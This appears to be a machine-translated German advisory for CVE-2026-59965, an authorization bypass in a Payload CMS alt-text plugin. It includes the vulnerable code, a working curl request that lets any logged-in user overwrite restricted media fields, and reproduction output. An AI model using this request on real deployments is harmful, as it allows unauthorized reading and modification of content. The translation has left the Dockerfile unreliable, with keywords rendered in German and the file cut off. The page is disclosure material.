CVE-2026-59965
@jhb.software/payload-alt-text-plugin: Alt Text Endpoint Authorization Bypass via Payload Local API `overrideAccess` Omission
Beschreibung
Alt Text Endpoint Authorization Bypass via Payload Local API overrideAccess Omission
Zusammenfassung
Die Version 0.7.0 von @jhb.software/payload-alt-text-plugin stellt benutzerdefinierte Endpunkte des Payload CMS (POST /api/alt-text-plugin/generate und /bulk) bereit, die die Payload Local API (findByID und update) aufrufen, ohne overrideAccess: false festzulegen. Da Payloads interne Logik shouldOverrideAccess = overrideAccess !== false bewertet, führt das Fehlen des Parameters dazu, dass es standardmäßig auf true gesetzt wird, wodurch alle Sammlungsebenen-Zugriffskontrollfunktionen stillschweigend umgangen werden. Jeder authentifizierte Benutzer – unabhängig von seiner Rolle – kann die Felder alt und keywords beliebiger Upload-Dokumente lesen und überschreiben, die ansonsten durch restriktive Sammlungszugriffsregeln geschützt wären. Die Schwachstelle wird als Hoch (CVSS 7.1) eingestuft.
Details
Das Plugin registriert zwei Netzwerkendpunkte in alt-text/src/plugin.ts:179-186. Ihre Standardzugriffsguard (plugin.ts:55) prüft nur !!req.user, was bedeutet, dass jede authentifizierte Sitzung die Prüfung erfüllt, unabhängig von der Rolle, die für die zugrunde liegende Sammlung erforderlich ist.
Der Endpunkt-Handler in alt-text/src/endpoints/generateAltText.ts akzeptiert benutzerdefinierte id, collection, locale und update Felder aus dem Anfragekörper (Zeile 29) und leitet sie direkt an zwei ungesicherte Local API-Aufrufe weiter:
Lesenumgehung (generateAltText.ts:31):
const imageDoc = await req.payload.findByID({
id,
collection,
depth: 0,
// overrideAccess: false ist abwesend → standardmäßig auf true gesetzt
})
Schreibumgehung (generateAltText.ts:121):
await req.payload.update({
id,
collection,
data: {
alt: result.result.altText,
keywords: result.result.keywords,
},
locale: targetLocale,
// overrideAccess: false ist abwesend → standardmäßig auf true gesetzt
})
Der Bulk-Endpunkt (alt-text/src/endpoints/bulkGenerateAltTexts.ts) wiederholt das gleiche Muster in den Zeilen 120 (lesen) und 170 (schreiben).
Payloads interne Auflösung von overrideAccess ist:
shouldOverrideAccess = overrideAccess !== false
// undefined !== false → true → Sammlungszugriffsfunktion wird nie aufgerufen
Da die Sammlungsebenen-read und update Zugriffsfunktionen nie aufgerufen werden, kann jeder Angreifer mit einer gültigen Sitzung Dokumente in beliebigen Upload-Sammlungen anvisieren, unabhängig davon, wie der Zugriff auf diese Sammlung konfiguriert ist.
PoC
Umgebungseinrichtung:
- Klonen Sie das Repository und installieren Sie
@jhb.software/payload-alt-text-plugin@0.7.0in ein Payload v3-Projekt. - Konfigurieren Sie eine Upload-Sammlung namens
mediamitreadundupdateZugriff, der auf Benutzer mitrole: "admin"beschränkt ist. - Konfigurieren Sie das Plugin mit
collections: ["media"]und einem Resolver, der{ success: true, result: { altText: "PWNED_BY_EXPLOIT", keywords: ["hacked", "bypass"] } }zurückgibt. - Als Admin erstellen Sie ein Mediendokument (z.B. ID
doc-001) mitalt = "original safe alt text". - Erhalten Sie ein Sitzungstoken für einen nicht-admin Benutzer (
role: "user").
Dynamisches PoC bauen und ausführen (Docker):
# Bauen
docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Ausführen
docker run --rm vuln001-poc
Ausnutzungsanfrage:
curl -i -b "payload-token=<LOW_PRIV_TOKEN>" \
-H "Content-Type: application/json" \
-X POST http://localhost:3000/api/alt-text-plugin/generate \
--data '{"collection":"media","id":"doc-001","locale":"en","update":true}'
Erwartetes Ergebnis:
- HTTP 200 wird zurückgegeben.
- Die Antwort enthält
"altText": "PWNED_BY_EXPLOIT". - Ein nachfolgender Admin-Lesevorgang von
media/doc-001bestätigtalt = "PWNED_BY_EXPLOIT"undkeywords = ["hacked", "bypass"], obwohl der Update-Zugriff auf die Sammlung auf Admins beschränkt ist.
Kontrollüberprüfung (bestätigt, dass die Umgehung real ist und nicht eine Fehlkonfiguration):
Ein direkter Local API-Aufruf mit overrideAccess: false durch denselben nicht-admin Benutzer wirft einen AccessError: update denied for collection "media" (user role: user), was beweist, dass die Zugriffsregel korrekt ist und das Plugin-Endpunkt der Vektor ist.
Dynamische Reproduktionsergebnis (Phase 2 bestätigt):
VULN-001: Alt Text Endpunkt Autorisierungsumgehung
Payload Local API overrideAccess Auslassung in
generateAltText.ts:31 und :121
[Schritt 1] Kontrolle: nicht-admin direktes Update mit overrideAccess:false
PASS: Zugriff korrekt verweigert → AccessError
[Schritt 3] AUSNUTZUNG: nicht-admin ruft POST /api/alt-text-plugin/generate auf
HTTP-Status : 200
Antwort : {"id":"doc-001","collection":"media","altText":"PWNED_BY_EXPLOIT","keywords":["hacked","bypass"]}
SCHWACHSTELLE BESTÄTIGT — AUSNUTZUNG ERFOLGREICH
Auswirkungen
Dies ist eine Fehlautorisation Schwachstelle (CWE-863). Die Plugin-Endpunkte dienen als Autorisierungsumgehungs-Tunnel in Payloads Local API. Jeder authentifizierte Benutzer – ein Abonnent, Redakteur oder jede niedrige Privilegienrolle – kann:
- Lesen des Inhalts beliebiger Upload-Dokumente, die Sammlungszugriffsregeln andernfalls verweigert hätten.
- Überschreiben der
altText- undkeywordsFelder auf diesen Dokumenten, was effektiv eine nicht autorisierte Inhaltsmodifikation darstellt.
Betreiber, die den Zugriff auf Upload-Sammlungen nach Rolle einschränken (ein häufiges Produktionsmuster), sind vollständig betroffen. Angreifer benötigen keine Admin-Anmeldeinformationen; jede gültige Sitzung reicht aus. Die Schwachstelle ist in allen Standardbereitstellungen ausnutzbar, bei denen das Plugin aktiviert ist, ohne dass eine besondere Konfiguration auf der Angreifenseite erforderlich ist.
Reproduktionsartefakte
Dockerfile
# Dockerfile für VULN-001 dynamische Reproduktion
#
# Build-Kontext: das übergeordnete Verzeichnis, das sowohl
# repo/ (jhb-software/payload-plugins Klon)
# vuln-001/ (dieser Arbeitsbereich)
# enthält.
#
# Bauen: docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Ausführen: docker run --rm vuln001-poc
VON node:22-slim
ARBEITSVERZEICHNIS /app
# ---- Plugin-Quelldateien für das PoC kopieren ----
# Nur der Endpunkt, der getestet wird, und seine direkten Abhängigkeiten sind erforderlich.
# Keine Payload-Framework-Installation erforderlich: wir es im PoC nachbilden.
KOPIERE repo/alt-text/src/endpoints/generateAltText.ts ./plugin/src/endpoints/generateAltText.ts
KOPIERE repo/alt-text/src/endpoints/schemas
Metriken
Weakness-Klassen (CWE)
CWE-863Class
Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
cwe.mitre.org →
Betroffene Produkte
Aus der Hersteller-/CERT-Meldung extrahierte Produkte und Versionsbereiche. Ein Version-Range wie „<4.14.6“ impliziert die Update-Empfehlung „auf 4.14.6 oder höher aktualisieren“.
npm
@jhb.software/payload-alt-text-plugin<= 0.7.0